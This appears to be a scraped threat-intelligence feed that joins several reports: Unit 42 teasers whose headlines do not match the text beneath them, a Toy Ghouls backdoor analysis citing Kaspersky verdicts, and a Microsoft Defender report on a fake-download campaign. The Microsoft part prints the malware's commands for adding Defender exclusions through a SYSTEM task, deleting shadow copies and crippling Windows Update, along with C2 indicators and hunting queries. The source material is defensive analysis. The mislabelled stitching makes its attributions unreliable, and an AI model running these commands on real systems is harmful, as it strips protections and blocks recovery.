An investigation into how cybercriminals used YouTube gaming lures and SEO poisoning to deliver multi-payload malware to enterprise networks.

The post Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure appeared first on Unit 42.

Introduction

We continue tracking the activity of Toy Ghouls (also known as Bearlyfy, Laboo.boo, and Feral Wolf), a financially motivated group that has been targeting Russian organizations since 2025. The attackers initially relied exclusively on tools pulled from public GitHub repositories along with leaked Babuk and LockBit ransomware builders, later shifting to their own custom ransomware, GenieLocker. In early July 2026, we observed the group using a custom backdoor for the first time.

We identified two versions of this backdoor: one uses the HiveMQ MQTT broker as its C2 server, while the other relies on the Element messenger. Both versions include “bird” in their names:

• mqtt-bird-agent 0.1.0 (HiveMQ version)
• matrix-bird-agent 0.1.0 (Element version)

This post examines how the backdoor is delivered to target systems, how it establishes persistence, and how it communicates with its C2 server.

Technical details

Delivery

In this campaign, the attackers use Windows Remote Management (WinRM) to deliver the backdoors and their configuration files to compromised systems. The group relies on open-source tools such as Evil-WinRM and WinRM-fs to do this.

Installation

The backdoor can both run within an interactive command-line session and establish persistence as a Windows service, using the --install or install option, depending on the backdoor version. The --service (or service) option is not available by default and is instead used as an argument for the installed Windows service.

Other launch options are listed in the backdoor’s help output:

C:\cplsupport.exe -h
Bird Agent - MQTT server monitor
Usage: cplsupport.exe [OPTIONS]

Options:
-c, --config <CONFIG> Path to config.toml config file
--install Install as a system service
--uninstall Uninstall the system service
--seal Encrypt sensitive config fields in-place using a machine-bound key
-h, --help Print help
-V, --version Print version

HiveMQ version backdoor help output

In the Element version, the backdoor help output looks as follows:

C:\wtass.exe -h
Matrix monitoring agent

Usage: wtass.exe [OPTIONS] [COMMAND]

Commands:
  install    Register this agent with the Matrix homeserver and panel
  uninstall  Remove this agent's service and credentials
  service    Run as a Windows service (internal)
  help       Print this message or the help of the given subcommand(s)

Options:
  -c, --config <CONFIG>
  -h, --help             Print help
  -V, --version          Print version

Element version backdoor help output

By default, the backdoor looks for a config.toml configuration file in the directory where the executable was launched, then falls back to %PROGRAMDATA%\SynapseAgent\config.toml (Element version) or %PROGRAMDATA%\cplsupport\config.toml (HiveMQ version). If no configuration file is found in either location, the full path can be specified using the -c (--config) option.

The backdoor accepts both unencrypted configuration files and files with partially encrypted sections. In the first case, once the backdoor is launched, it reads the file and partially encrypts it using the seal() function (the --seal option in the HiveMQ version), applying the ChaCha20-Poly1305 algorithm with a key derived from the value of the HKLM\Software\Microsoft\Cryptography\MachineGuid registry key. This means that after the backdoor’s first run, the configuration file becomes bound to that specific machine. On subsequent runs, the configuration is decrypted automatically. If the input configuration was already partially encrypted, it is likewise decrypted automatically.

If the configuration cannot be decrypted, the backdoor stops running.

Encrypted configuration files look as follows:

Encrypted backdoor configuration file, HiveMQ version

The encrypted portion of the HiveMQ version’s configuration contains the following parameters:

• agent_privkey: the agent’s private key
• channel_id: the channel identifier used to communicate with the broker
• server_pubkey: the server’s public key

Decrypted blob field in the HiveMQ version’s configuration

In the Element version, the configuration file is deleted immediately after the first run, and the relevant parameters are instead written to the HKLM\Software\synapse\Config\SealedConfig registry key. On subsequent runs, the backdoor checks the registry for its configuration first.

Decrypted Element version configuration file, retrieved from the registry

The Element version’s configuration specifies the address of an Element server controlled by the attackers, a room identifier, and an access_token used to access that room. If this parameter is left empty, the backdoor prompts for the password interactively during installation. After successfully creating a session, the backdoor saves the received token to the blob field.

Communication

At startup, both backdoor versions send a GET request to http://ip-api.com/json to determine the system’s public IP address and country of origin.

The first version uses the public HiveMQ MQTT broker (broker.hivemq.com) as its C2 server. The free tier of this broker supports up to 100 concurrent connections and up to 10 GB of traffic per month. The attackers set up their own cluster and used it both to collect telemetry from compromised systems and to send commands to the backdoor.

• Once a connection is established, the system’s status is sent via a POST request to broker.hivemq.com:8883/[cluster_id]/status. The message format is: {"online":bool,"hostname":"hostname.domain","timestamp":unix_timestamp,"location":{"json"}}.
• At intervals defined in the configuration file, system information, such as CPU load and available memory, is sent via a POST request to broker.hivemq.com:8883/[cluster_id]/metrics3. The message format is: {cpu_percent":float,"mem_used_bytes":int,"mem_total_bytes":int,"disk_used_bytes":int,"disk_total_bytes":int,"load_1m":float,"load_5m":float,"load_15m":float,"uptime_secs":int,"hostname":"hostname.domain","timestamp":unix_timestamp}.
• The backdoor sends GET requests to broker.hivemq.com:8883/[cluster_id]/cmd/req to retrieve commands from the C2 server. The server responds in the format: {"cmd_id":int,"command":"str","timeout_secs":int}.
• Commands are executed via PowerShell.exe in hidden mode, using the -NonInteractive -NoProfile -Command parameters.
• Command execution results are sent to the command server at broker.hivemq.com:8883/[cluster_id]/cmd/res in the {"stdout":"str","stderr":"str","exit_code":int,"duration_ms":int} format.

For the second backdoor version, the attackers set up their own Element server running on the Matrix protocol, meet.element[.]tw, as the C2 server. On this server, they created a room used to receive messages containing device information and to send commands for execution on the compromised system. The communication flow is as follows:

• Once a connection is successfully established, the backdoor sends an m.bird.status message containing the system’s status. This message format is identical to that used in the HiveMQ version.
• At intervals defined in the configuration file, information about the compromised system is sent as an m.bird.metrics message. Field names are slightly different from those in the first version: {cpu_percent_x100":float,"mem_used_bytes":int,"mem_total_bytes":int,"disk_used_bytes":int,"disk_total_bytes":int,"load_1m_x100":float,"load_5m_x100":float,"load_15m_x100":float,"uptime_secs":int,"hostname":"hostname.domain","timestamp":unix_timestamp}.
• This version of the backdoor supports two types of commands, distinguished by the start of the received message.
  • To set a new interval for sending metrics, the attackers send a message beginning with config:set_interval (accepting values from 5 to 3600 seconds). The new value is saved to the HKLM\Software\SynapseAgent\metrics_interval registry key.
  • Messages containing commands to execute begin with the string cmd:. Based on data extracted from Element’s SQLite databases on the compromised system, we were able to identify the account name the attackers used to send commands: panel-bot.
• Received commands are executed via the Windows command line interface.
• Command output is sent as an m.bird.cmd_response message. This message format mirrors the one used in the HiveMQ version.

Takeaways

We have been tracking Toy Ghouls’ activity for quite some time. We previously found that the group had expanded its arsenal with a custom ransomware strain, GenieLocker, and we have now discovered that it has also developed a backdoor capable of giving it full control over an infected device. The new tools use unconventional channels to communicate with their C2 server: the HiveMQ MQTT broker and the Matrix-based Element messenger. This shift away from publicly available open-source projects toward custom-built tools suggests that Toy Ghouls is working to make its attacks more sophisticated and to evade detection for longer.

Indicators of compromise

Kaspersky security solution verdicts:

• HEUR:Backdoor.Win64.Suptoml.gen
• HEUR:Trojan.Script.Zapchast.conf
• Backdoor.Win64.Agent.smgdvy
• Trojan.Script.Zapchast.abwm
• Trojan.Win64.Agent.smgsfo
• Trojan.Script.Zapchast.abwo

File names and MD5 hashes:

• cplsupport.exe (BFADBEEE63A4F0BF19EC9DEB8FA58F58)
• wtass.exe (7916C33688385525078BEE504C90F359)
• config.toml

Registry keys:

• HKLM\Software\synapse\Config\SealedConfig
• HKLM\Software\SynapseAgent\metrics_interval

Service names:

• cplsupport (Problem Reports Control Panel)
• wtas (Windows Telemetry Aggregator Service)

Domain names:

• meet.element[.]tw
• broker.hivemq.com (a legitimate resource used by cybercriminals)
• ip-api.com (a legitimate resource used by cybercriminals)

Explore how attackers targeting Latin American entities use AI for data exfiltration and how basic OpSec errors allow defenders to disrupt operations.

The post Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America appeared first on Unit 42.

Microsoft Defender Experts is tracking an active malware campaign that uses counterfeit software-download websites to impersonate trusted vendors and distribute malicious installers. The campaign has targeted users looking to download popular software and has resulted in compromises across multiple organizations and industries, primarily affecting China-based operations of multinational organizations and Chinese-speaking users. Microsoft has observed victims across healthcare, manufacturing, gaming, technology, logistics, government, and education sectors.

Once executed, the malicious installers deploy malware that establishes persistence, attempts to weaken security protections, and communicates with attacker-controlled infrastructure. Microsoft assesses with moderate confidence that this activity is consistent with the publicly reported Silver Fox (also known as Yinhu, 银狐) fake software campaign but has not attributed it to a nation-state actor. Microsoft Defender detected and disrupted activity across multiple stages of the attack, including automated containment through attack disruption. Organizations should prioritize preventing downloads from untrusted software sources and ensure protections such as SmartScreen, network protection, tamper protection, and Microsoft Defender XDR are enabled to help identify, block, and respond to related activity.

Attack chain overview

The campaign follows a consistent attack chain from a spoofed vendor download page to a self-protecting, persistent implant. The stages below trace that chain — initial access, delivery, execution, persistence, privilege escalation, defense evasion, and command and control.

Campaign scope and targeting

Microsoft observed affected devices predominantly associated with China-based operations and Chinese-speaking users, consistent with the Chinese-language lure content and the .com.cn and .hl.cn infrastructure. Confirmed activity spans medical devices and healthcare, manufacturing, gaming, technology, logistics, government, and higher education across multiple organizations and industries.

Initial access: spoofed software-download sites

The entry point is a fraudulent software-download website that spoofs a legitimate vendor. In one case, endpoint telemetry captured a device navigating to the fake Razer page pc-razerzone[.]com[.]cn and downloading app_setup.6653004.zip from the delivery host gehie246[.]com/712down; two content-distinct copies of the same-named archive were written within roughly 69 seconds — a direct observation of server-side payload regeneration.

Across the estate, FileOriginReferrerUrl telemetry ties each downloaded archive to the impersonation page that served it and to rotating delivery hosts (yimxg25tiy[.]com/73inst, cc8ttkv35b[.]com/7qinst, n7b8t85zsg[.]com/ins711) and a suspected attacker-controlled Alibaba Cloud Object Storage Service (OSS) bucket. The lure domains predominantly use .com.cn, .hl.cn, and .cn and embed the impersonated brand name.

Delivery: a dynamically generated installer archive

The following examples illustrate how look-alike domains routed users to the same delivery infrastructure while preserving brand-specific lure pages.

When the user selects the download control, Microsoft Edge retrieves a malicious installer archive from a small set of dedicated delivery domains.

pc-razerzone[.]com[.]cn  (spoofed Razer download site)   →   www[.]gehie246[.]com/712down   →   app_setup.6653004.zip   →   stage-one loader

A defining characteristic is that the archive keeps the same filename while its hash changes on every download — a strong indicator the payload is generated server-side, per request. Microsoft observed families of same-named archives (app_setup.*, zinst.*, zintall.*, intsoft.*, innstll.*) whose contents differ across downloads while the delivery URL stays constant; the full validated hash set is in the indicators of compromise below.

kaspersky-lab[.]hl[.]cn     →   hxxp://www.gehie246[.]com/712down
pc-razerzone[.]com[.]cn     →   hxxp://www.gehie246[.]com/712down
calibre-ebook[.]com[.]cn    →   hxxp://www.gehie246[.]com/712down

Brand-impersonation infrastructure

The campaign runs a large, uniform set of vendor look-alike pages on .com.cn and .hl.cn domains, each cloning the real product’s branding and presenting a prominent “Download now” button. All funnel to the same delivery and payload infrastructure.

Although these domains impersonate unrelated vendors, they are not independently hosted. Infrastructure enrichment, corroborated by Microsoft telemetry where the two overlap, resolves them into two groupings. Six domains resolve within AS132839, spread across four unrelated netblocks and three registered country codes, and share a common pair of nameservers. Two further domains resolve within AS8796 in a single /21, using a different nameserver pair. One additional domain is served through a content delivery network (CDN), concealing its origin. Because hosting and Domain Name System (DNS) are frequently bundled by the same reseller, these are best read as two consistent procurement channels rather than two independent corroborating signals.

The practical implication for defenders is that netblock- and geography-based grouping will miss these relationships, while Autonomous System Number (ASN)-level analysis surfaces them.The autonomous system remains constant even where the address space and registered country vary. These are shared commercial hosting and DNS providers carrying substantial unrelated tenancy, so the ASN and nameserver should be treated as hunting pivots, not blocklist entries.

The following capture shows a representative impersonation page served by the campaign. The pages are high-fidelity clones of a legitimate vendor’s site with a prominent download call-to-action.

Execution: a wrapped installer drops a randomized stage-one payload

The wrapper installer creates a randomized executable path while reusing stable payload content, making names unreliable but behavior and hashes useful for detection.

Opening the archive yields a wrapper installer whose name follows a generated pattern (for example, a_instapp83353001.exe or ainst8663586104.exe).

Executing the wrapper creates and launches a stage-one payload at a randomized path under a world-writable or system location; the directory and file names are randomized, but the payload content is stable. The same stage-one 256-bit Secure Hash Algorithm (SHA-256) (676a2a7b94ca…) was observed under many names and paths.

C:\Users\Public\sE94yD\aLcUaw.exe        (SHA-256 676a2a7b94ca…  stage-one)
C:\Users\Public\nvdPX5\2b3L5i.exe        (SHA-256 676a2a7b94ca…  stage-one)
C:\Program Files (x86)\i3LH90\ErNGxW.exe (SHA-256 6d6ba2bc9ad4…  later-stage)
C:\Program Files (x86)\Q8Maj\7EIr6VA.exe (SHA-256 6d6ba2bc9ad4…  later-stage)
C:\ProgramData\zsMmvukD\beuv4Mie.exe     (SHA-256 c6100166e2d3…  persistent)

The end-to-end chain is visible as a parent-to-child process tree: msedge.exe writes the archive, an archiving tool (7zFM.exe, 360zip.exe, or WinRAR.exe) extracts it, the bundled wrapper runs, and the wrapper launches the randomized stage-one payload.

msedge.exe                               downloads app_setup.6653004.zip
  └─ 7zFM.exe / 360zip.exe / WinRAR.exe  (user opens the downloaded archive)
       └─ a_instapp83353001.exe           (wrapper installer bundled in the archive)
            └─ C:\Users\Public\yZ6A88\9bEELI.exe  (stage-one payload, randomized)

Payloads are masqueraded; Microsoft confirmed the masquerade through file metadata on the later-stage payload (SHA-256 6d6ba2bc…), staged at C:\Program Files (x86)\<random>\. The binary’s version resource declares CompanyName: “Speech Processing Solutions GmbH”, FileDescription: “Philips Speech Driver Client Configuration”, OriginalFileName: PhilipsSpeechDriverConfiguration.exe, and ProductVersion: 4.7.471.07,while executing from a randomized directory under a randomized file name. The same resource retains an unfilled build-template placeholder, ProductName: “TODO: <Product name>”, indicating the version information was fabricated for the payload rather than inherited from genuine vendor software. Microsoft also observed svchost.exe executing from a non-system path (D:\hellothere\svchost.exe) rather than C:\Windows\System32.

FileName                                      XPSPLOG.dll
FolderPath                                    C:\Program Files (x86)\72q1o6\XPSPLOG.dll
InitiatingProcessFileName                     40gK5T.exe
InitiatingProcessFolderPath                   C:\Program Files (x86)\72q1o6\40gK5T.exe
InitiatingProcessSHA256                       6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
InitiatingProcessCommandLine                  "40gK5T.exe"
 
InitiatingProcessVersionInfoCompanyName       Speech Processing Solutions GmbH
InitiatingProcessVersionInfoFileDescription   Philips Speech Driver Client Configuration
InitiatingProcessVersionInfoOriginalFileName  PhilipsSpeechDriverConfiguration.exe
InitiatingProcessVersionInfoProductVersion    4.7.471.07
InitiatingProcessVersionInfoProductName       TODO: 
 
InitiatingProcessParentFileName               svchost.exe

A payload staged under C:\ProgramData\<random>\ (SHA-256 c6100166…) carries the version metadata of the Indigo Rose TrueUpdate Client (OriginalFileName: tu_rt.exe, ProductVersion: 3.8.0.0) and exhibits that product’s runtime behavior, writing _ir_tu2_temp_* artifacts to the user’s temp directory on each execution. Dropped by the later-stage payload and launched repeatedly by the Task Scheduler service, it connects to an attacker-controlled Alibaba Cloud OSS bucket over Transport Layer Security (TLS) and writes a further payload to a second randomized C:\ProgramData\ directory — a legitimate update mechanism repurposed for payload delivery.

00:24:43  ErNGxW.exe (6d6ba2bc…) creates C:\ProgramData\zsMmvukD\beuv4Mie.exe (c6100166…)
00:24:43  beuv4Mie.exe executes   ← parent: svchost.exe -k netsvcs -p -s Schedule
00:24:44  beuv4Mie.exe → ConnectionSuccess | upitem.oss-cn-hangzhou.aliyuncs.com | 443
00:24:44  beuv4Mie.exe creates C:\ProgramData\uwMUCYBN\SaYC4Mga.exe (f33d160d…)
02:12:22  beuv4Mie.exe creates …\Temp\_ir_tu2_temp_4      ← TrueUpdate runtime artifact
02:44:20  beuv4Mie.exe re-executes (scheduled task) → _ir_tu2_temp_5
02:59:00  … _temp_6    03:15:54 … _temp_7    08:02:52 … _temp_8
08:32:20  … _temp_9    08:38:51 … _temp_11

Alternate execution vector: Windows Installer (msiexec)

In parallel with the wrapped-installer chain, Microsoft observed a second execution vector that uses the Windows Installer service. The installer performs its intended function; what the campaign gains is execution under a signed, trusted Windows component. The extracted installer invokes msiexec.exe in embedded mode, which writes and launches a randomized executable into a world-writable C:\Users\Public\<random>\ directory, the same masquerade pattern as the wrapper chain, but delivered through msiexec.exe.

msiexec.exe -Embedding  E Global\MSI0000
  └─ C:\Users\Public\\.exe   (payload, randomized path/name)

The behavior is consistent and repeated: more than twenty distinct payload names were written this way, spawned by a range of parents including msedge.exe, explorer.exe, and svchost.exe.

Persistence and recurring execution: disguised scheduled tasks

Persistence and recurring execution are achieved through scheduled tasks whose display names imitate routine IT or productivity jobs (for example “Deadline Mission Target” and “Hierarchy Tools Smooth Inventory”), each launching a specific payload staged under C:\ProgramData\.

Each task launches a specific payload:

The persistent payloads are staged in locations such as C:\ProgramData\7fYptijy.exe, C:\ProgramData\zsMmvukD\beuv4Mie.exe, and C:\ProgramData\uwMUCYBN\SaYC4Mga.exe. Because the payloads are launched by the Task Scheduler service (parented to svchost.exe -k netsvcs -p -s Schedule) and multiple staggered tasks run per device, affected hosts exhibit a characteristic ~60-second re-execution cadence.

Privilege escalation: SYSTEM scheduled task and process injection

To perform privileged actions such as writing Microsoft Defender exclusions, the malware creates a short-lived scheduled task that runs as SYSTEM (SCHTASKS /Create … /RL HIGHEST /RU “SYSTEM”), executes the privileged action, then immediately runs and deletes the task

SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM"
  /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\"
       /v \"C:\Program Files (x86)\NPq6k16Om\" /t REG_DWORD /d 0 /f"
SCHTASKS /Run /TN "Task1"    &    SCHTASKS /Delete /TN "Task1" /F

The /RL HIGHEST /RU “SYSTEM” combination elevates the exclusion write to SYSTEM, and the create-run-delete sequence minimizes the footprint of the helper task. Process injection was also observed. A persistent campaign payload (SHA-256 1bd3662d…), launched from C:\ProgramData\ by the Task Scheduler service, created a remote thread in a legitimate user application moments after that application started — executing payload code inside the context of a trusted process. Microsoft Defender detected the activity as A process was injected with potentially malicious code.

ActionType                       CreateRemoteThreadApiCall
InitiatingProcessFileName        .exe
InitiatingProcessFolderPath      C:\ProgramData\.exe
InitiatingProcessSHA256          1bd3662d784840e410d2d3c0a1040277f7f549089447359f01e05c2559cb1f17
InitiatingProcessCommandLine     ".exe"
InitiatingProcessCreationTime    2026-07-13 02:44:20.887
InitiatingProcessParentFileName  svchost.exe
FileName                         .exe      (target process)
ProcessCommandLine               ".exe" -autorun
ProcessCreationTime              2026-07-13 02:44:37.568
AdditionalFields                 {"IntegrityLevel":8192}

The sequence below shows a single execution cycle end to end: the Task Scheduler service launches the payload, the payload immediately attempts command-and-control on two non-standard ports — both blocked at the host firewall — and, seventeen seconds later, injects into a user application within milliseconds of that application starting.

02:44:20.887   PROC     .exe started            parent: svchost.exe (Task Scheduler)
02:44:21.971   NETWORK  outbound to 47.239.232[.]245:8050    → FirewallOutboundConnectionBlocked
02:44:24.860   NETWORK  outbound to 47.243.218[.]255:28300   → FirewallOutboundConnectionBlocked
02:44:37.568   PROC     target application starts (-autorun)
02:44:37.604   INJECT   CreateRemoteThreadApiCall  .exe → target application   

Defense evasion: disabling host protections

Follow-on payloads take a layered approach to weakening the host. They add sweeping Microsoft Defender path exclusions via PowerShell (Add-MpPreference -ExclusionPath) and the SYSTEM scheduled-task registry write;

powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
powershell.exe -c if (Get-Process -Name HAhahahah) {} else {
  Add-MpPreference -ExclusionPath $env:localappdata,'C:\','C:\ProgramData',
   'C:\ProgramData\7b3St9HS','C:\ProgramData\7b3St9HS\27s7ihjC.exe' -ExclusionExtension '.dat' -Force }

delete volume shadow copies (vssadmin delete shadows /all /quiet) to inhibit recovery;

cmd.exe /c vssadmin delete shadows /all /quiet

harden payload directories with icacls so standard users cannot remove the files;

icacls "C:\Program Files (x86)\NPq6k16Om\xo7Tj9xQ.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F

and neutralize Windows Update by stopping and disabling wuauserv, UsoSvc, uhssvc, and WaaSMedicSvc, renaming update dynamic-link libraries (DLLs), and deleting the SoftwareDistribution cache.

for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do (
   net stop %i & sc config %i start= disabled & sc failure %i reset= 0 actions= "" )
for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll &
   icacls …\%i.dll /grant *S-1-1-0:F & rename …\%i.dll %i_BAK.dll &
   icacls …\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" & icacls …\%i_BAK.dll /remove *S-1-1-0 )
reg add "HKLM\…\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
erase /f /s /q c:\windows\softwaredistribution\*.*  &  rmdir /s /q c:\windows\softwaredistribution
powershell -Command Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask

A malicious Windows Defender Application Control policy was written to the code-integrity store on multiple devices; Microsoft Defender Antivirus detected the tamper behavior as Behavior:Win32/MpTamperGpDisableAVFriendly.A.

Command and control (C2)

A later-stage networking payload establishes command-and-control over application-layer protocols on non-standard ports — observed ports include 5090, 7031, 7032, 7088–7090, 8050, 28290, and 28300.

C2 endpoints comprise a set of six-character [.]net domains (iualef, oijfwe, euioxu, czijbh, wfmwsj, tbdqxq) and IP-and-port endpoints; a primary hub was observed on 202.95.14[.]237 (AS152194, CTG Server Limited). Payloads were observed beaconing to these endpoints with both successful and failed callbacks; the dedicated [.]net and IP-and-port C2 was intermittently unreachable while the same payloads still completed TLS connections to cloud object storage, consistent with a dedicated C2 tier that was often down while cloud-hosted staging remained live.

Detection and disruption

In observed environments, Microsoft Defender surfaced alerts across multiple stages and, where criteria were met, Attack Disruption engaged to contain affected devices and accounts.

Representative alerts include Modification attempt in Microsoft Defender Antivirus exclusion list, Compromised device (attack disruption), A process was injected with potentially malicious code, Potential C2 connection behavior, Suspicious Task Scheduler activity, and Compromised account conducting hands-on-keyboard attack. The campaign is not purely automated. In a subset of environments, the automated execution was accompanied by interactive, hands-on-keyboard activity, which attack disruption engaged to contain.

Microsoft Defender also blocked the attempted Server Message Block (SMB) lateral movement to additional hosts (Lateral movement using SMB remote file access blocked on multiple devices) and detected the C2 connection behavior; the campaign’s C2 endpoints are included in the blocked indicator set.

Attack disruption contained the device and account; full eradication of persistence still required responder action.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat. Check the recommendations card for the deployment status of monitored mitigations.

Campaign-specific recommendations

• Enforce Tamper Protection. It blocks exclusion and registry writes to Microsoft Defender even when the payload runs as SYSTEM — directly countering the throwaway SYSTEM scheduled-task technique this campaign relies on.
• Hunt behavior, not file names. File names and hashes rotate on every download; pivot on the C:\Users\Public\<random>\<random>.exe and C:\Program Files (x86)\<random>\<random>.exe drop pattern, the Philips-Speech masquerade, and the stable stage-one and networking payload hashes.
• Alert on the tamper sequence. A SYSTEM scheduled task writing HKLM\…\Windows Defender\Exclusions\Paths then self-deleting, vssadmin delete shadows /all /quiet, and disabling wuauserv, UsoSvc, WaaSMedicSvc and uhssvc are high-fidelity signals.
• Treat look-alike download archives as malicious in web and mail flow. Block ZIPs named app_setup.*, zinst.*, zintall.*, intsoft.*, and innstll.* served from *.com.cn or *.hl.cn brand-look-alike domains and the /712down, /73inst, /7qinst, and /ins711 delivery endpoints.
• Correlate download referrers. Use FileOriginUrl and FileOriginReferrerUrl to catch landing-page to delivery-host pairs even after individual domains rotate, and block the C2 IP:port set and .net C2 domains.

Microsoft Defender XDR hardening recommendations

Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent several of the infection vectors of this threat. These rules, which can be configured by any user, offer significant hardening against targeted attacks. In observed attacks, Microsoft customers who had the following rules turned on could mitigate the attack in the initial stages and prevent hands-on-keyboard activity:

• Block executable files from running unless they meet a prevalence, age, or trusted list criterion 
• Block execution of potentially obfuscated scripts 
• Block use of copied or impersonated system tools 
• Use advanced protection against ransomware 

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:

• Incident investigation
• Microsoft User analysis
• Threat actor profile
• Threat Intelligence 360 report based on MDTI article
• Vulnerability impact assessment

These promptbooks can help analysts summarize affected entities, review alert timelines, and pivot on the IOCs included in this blog. Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Threat intelligence reports

Microsoft Defender XDR customers can use threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the malicious activity and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Advanced hunting

Microsoft Defender XDR and Microsoft Sentinel customers can run the following queries. . The behavior-based queries continue to work even as filenames, hashes, and domains rotate.

Campaign payloads and loaders Surfaces execution or creation of the campaign’s stable stage-one, later-stage, persistent, networking, and loader binaries by SHA-256.

let campaignSha256 = dynamic([
  "676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7", // stage-one
  "6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8", // later-stage
  "c4100ad39d8db98f063feb6c3b6c8e9a9f9d9bf25a1e0233f43b058ff8a7dbdf", // networking
  "1bd3662d784840e410d2d3c0a1040277f7f549089447359f01e05c2559cb1f17", // persistent
  "c6100166e2d3b40388980f7674712ef39e937ac04925ca5d370415399ed73faf", // TrueUpdate loader
  "f33d160d757e4b39019fdef21cf90cafb501b800ca0d4039366bc30856e3d81b", // persistent/networking
  "e4fe2dee8f0bb132fa15fc686d1f93df39530a2d3a8d3a1f3a605a057c04e7b3"  // supporting DLL
]);
union
  (DeviceProcessEvents | where SHA256 in (campaignSha256)),
  (DeviceFileEvents    | where SHA256 in (campaignSha256))
| project Timestamp, DeviceName, ActionType, FileName, FolderPath, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc

Randomized payload drop pattern Finds executables dropped into randomized folders under world-writable or system locations — the campaign’s stable staging behavior regardless of filename.

DeviceProcessEvents
| where FolderPath matches regex @"(?i)^C:\\(Users\\Public|ProgramData|Program Files \(x86\))\\[A-Za-z0-9]{4,10}\\[A-Za-z0-9]{4,10}\.exe$"
| where InitiatingProcessFileName in~ ("msiexec.exe","explorer.exe","svchost.exe","cmd.exe","7zFM.exe","360zip.exe","WinRAR.exe")
| project Timestamp, DeviceName, AccountName, FolderPath, FileName, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc

Microsoft Defender exclusion tampering Detects the SYSTEM scheduled-task and PowerShell routines that write sweeping Microsoft Defender path exclusions.

DeviceProcessEvents
| where ProcessCommandLine has @"Windows Defender\Exclusions\Paths"
     or ProcessCommandLine has "Add-MpPreference -ExclusionPath"
     or (ProcessCommandLine has "SCHTASKS" and ProcessCommandLine has "SYSTEM" and ProcessCommandLine has "Exclusions")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine
| order by Timestamp desc

Recovery inhibition and Windows Update neutralization Surfaces shadow-copy deletion and the routine that stops, disables, or renames Windows Update service components.

DeviceProcessEvents
| where ProcessCommandLine has "vssadmin delete shadows"
     or (ProcessCommandLine has_all ("sc","config","disabled") and ProcessCommandLine has_any ("wuauserv","UsoSvc","uhssvc","WaaSMedicSvc"))
     or ProcessCommandLine has "NoAutoUpdate"
     or (ProcessCommandLine has "rename" and ProcessCommandLine has_any ("wuaueng","WaaSMedicSvc"))
| project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine
| order by Timestamp desc

Windows Installer (msiexec) embedded-mode execution Catches the parallel delivery vector where msiexec launches a randomized payload from a world-writable path.

DeviceProcessEvents
| where InitiatingProcessFileName =~ "msiexec.exe"
| where InitiatingProcessCommandLine has "-Embedding" and InitiatingProcessCommandLine has @"Global\MSI0000"
| where FolderPath has @"C:\Users\Public\"
| project Timestamp, DeviceName, FileName, FolderPath, SHA256, InitiatingProcessCommandLine
| order by Timestamp desc

Disguised scheduled-task execution Flags payloads relaunched by the Task Scheduler service from user-writable directories (the ~60-second re-execution loop).

DeviceProcessEvents
| where InitiatingProcessCommandLine has "netsvcs" and InitiatingProcessCommandLine has "Schedule"
| where FolderPath matches regex @"(?i)^C:\\(Users\\Public|ProgramData|Program Files \(x86\))\\"
| where FileName endswith ".exe"
| project Timestamp, DeviceName, FileName, FolderPath, SHA256, InitiatingProcessFileName
| order by Timestamp desc

Command-and-control connections Matches callbacks to the campaign’s C2 IP:port set and six-character .net C2 domains.

let c2ip    = dynamic(["202.95.14.237","47.239.232.245","161.248.87.157","103.156.25.35","103.183.3.162","43.99.100.248","47.239.175.163","47.86.205.97","47.243.218.255"]);
let c2ports = dynamic([5090,7031,7032,7088,7089,7090,8050,28290,28300]);
let c2dom   = dynamic(["iualef.net","euioxu.net","czijbh.net","wfmwsj.net","tbdqxq.net","oijfwe.net"]);
DeviceNetworkEvents
| where (RemoteIP in (c2ip) and RemotePort in (c2ports)) or (RemoteUrl has_any (c2dom))
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessSHA256, RemoteIP, RemotePort, RemoteUrl, ActionType
| order by Timestamp desc

Malicious delivery domains and download endpoints Identifies connections to the dedicated delivery domains and the /712down, /73inst, /7qinst, /ins711 download paths.

let deliveryHosts = dynamic(["gehie246.com","yimxg25tiy.com","cc8ttkv35b.com","n7b8t85zsg.com","bxfh.tzcdq.cn","tmsq.tzcdq.cn","mebx78e02.com","qwjre1487.com"]);
DeviceNetworkEvents
| where RemoteUrl has_any (deliveryHosts) or RemoteUrl has_any ("/712down","/73inst","/7qinst","/ins711")
